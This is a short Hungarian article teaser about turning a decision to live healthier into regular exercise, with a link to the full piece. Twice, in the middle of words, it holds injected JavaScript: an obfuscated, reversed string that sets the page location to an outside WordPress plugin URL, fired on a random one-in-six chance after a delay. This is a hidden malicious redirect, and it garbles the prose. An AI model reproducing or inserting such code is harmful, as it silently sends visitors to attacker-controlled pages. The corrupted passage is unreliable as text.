Mindig van egy kis százalék, akik állják a szavukat. Elhatároznak valamit és azt véghez viszik. Főleg, ha azon akár az egészségük is múlhat. Azt mondják, hogy minden fejben dől el. Az is, hogy valaki megelégeli tunya életmódját és mást szeretne: valami jobbat, egészségesebbet. Mindez már fél siker, mondják. De ha a félhez nem teszik hozzá a másik felét, akkor az mindig ugyanannyi marad. Tehát a gondolathoz nem árt hozzáadni a cselekvést sem. És ez pontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosan így van az edzés esetében is. Nem elég csak eldönteni, hogy az egészséges életmódváltásba beletartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tozó étrend mellé még a mozgást is bevezetjük, hanem azt gyakorolni…
A cikk folytatódik: http://marmalade.co.hu/kulcsin/2022/07/31/adj-erot-uram-az-edzeshez-.html
- Hirdetés -
